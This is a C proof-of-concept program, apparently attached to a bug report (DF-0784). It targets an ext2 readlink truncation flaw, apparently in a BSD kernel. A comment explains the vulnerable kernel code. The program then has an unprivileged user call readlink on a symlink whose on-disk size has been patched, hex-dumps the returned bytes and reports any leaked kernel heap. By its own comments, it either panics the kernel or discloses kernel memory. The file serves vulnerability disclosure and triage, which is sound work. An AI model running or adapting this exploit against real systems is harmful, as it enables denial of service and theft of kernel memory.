DF-0784 / readlink_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-0784 trigger. * * Call readlink(2) on a symlink whose ext2 on-disk i_size has been patched * to 0x80000000 (bit 31 set). In the kernel: * * sys/vfs/ext2fs/ext2_vnops.c:1345 * static int * ext2_readlink(struct vop_readlink_args *ap) * { * struct vnode *vp = ap->a_vp; * struct inode *ip = VTOI(vp); * int isize; // <-- signed 32-bit * isize = ip->i_size; // truncates 0x80000000 -> -2^31 * if (isize < vp->v_mount->mnt_maxsymlinklen) // -2^31 < 60 -> TRUE * uiomove((char *)ip->i_shortlink, isize, ap->a_uio); * // isize (int) -> size_t: sign-extended to 0xFFFFFFFF80000000 * // kern_subr.c uiomove() then loops copyout() from i_shortlink * // (deep inside struct inode, in a kernel slab) into user RAM. * return (0); * } * * Depending on the kernel build and the slab layout immediately following the * inode, the result on the default GENERIC kernel is one of: * (a) a kernel-mode page fault while copyout() walks past the slab -> panic * "fatal trap 12: page fault while in kernel mode"; * (b) a KKASSERT trip if one happens to fire first; * (c) on INVARIANTS-OFF ("production") builds, a large disclosure of kernel * heap to the user buffer up to the first unmapped page. * * This program runs as an unprivileged user. Usage: readlink_poc <symlink> */ #include <sys/param.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *path; char *buf; size_t bufsz; ssize_t n; if (argc < 2) { fprintf(stderr, "usage: %s <symlink> [bufkb]\n", argv[0]); return 2; } path = argv[1]; bufsz = (argc >= 3) ? (size_t)strtoul(argv[2], NULL, 0) * 1024 : 4096; if (bufsz == 0) bufsz = 4096; if (bufsz > 16UL * 1024 * 1024) bufsz = 16UL * 1024 * 1024; buf = malloc(bufsz); if (!buf) { perror("malloc"); return 2; } printf("[*] readlink(\"%s\") bufsz=%zu pid=%d uid=%d\n", path, bufsz, getpid(), getuid()); fflush(stdout); n = readlink(path, buf, bufsz); if (n < 0) { printf("[!] readlink returned -1: errno=%d (%s)\n", errno, strerror(errno)); return 1; } printf("[+] readlink returned %zd bytes\n", n); fflush(stdout); /* Dump the returned bytes. We expect the legit 18-byte target followed by * kernel heap residue (on a production build) or we never reach here (panic * on GENERIC). */ { size_t i, per = 16; size_t show = (size_t)n; if (show > 512) show = 512; /* cap terminal output */ for (i = 0; i < show; i += per) { size_t j, k = i; printf("%08zx ", i); for (j = 0; j < per && k < show; j++, k++) printf("%02x ", (unsigned char)buf[k]); printf(" |"); for (j = 0, k = i; j < per && k < show; j++, k++) { unsigned char c = buf[k]; putchar((c >= 32 && c < 127) ? c : '.'); } printf("|\n"); } if ((size_t)n > show) printf("... (%zd bytes total, %zu shown)\n", n, show); } /* Heuristic: anything past the legit 18-byte target string is leaked * kernel heap. */ if (n > 18) { size_t leak = (size_t)n - 18; printf("[!] LEAK: %zu bytes of kernel heap beyond the legit target\n", leak); } free(buf); return 0; } |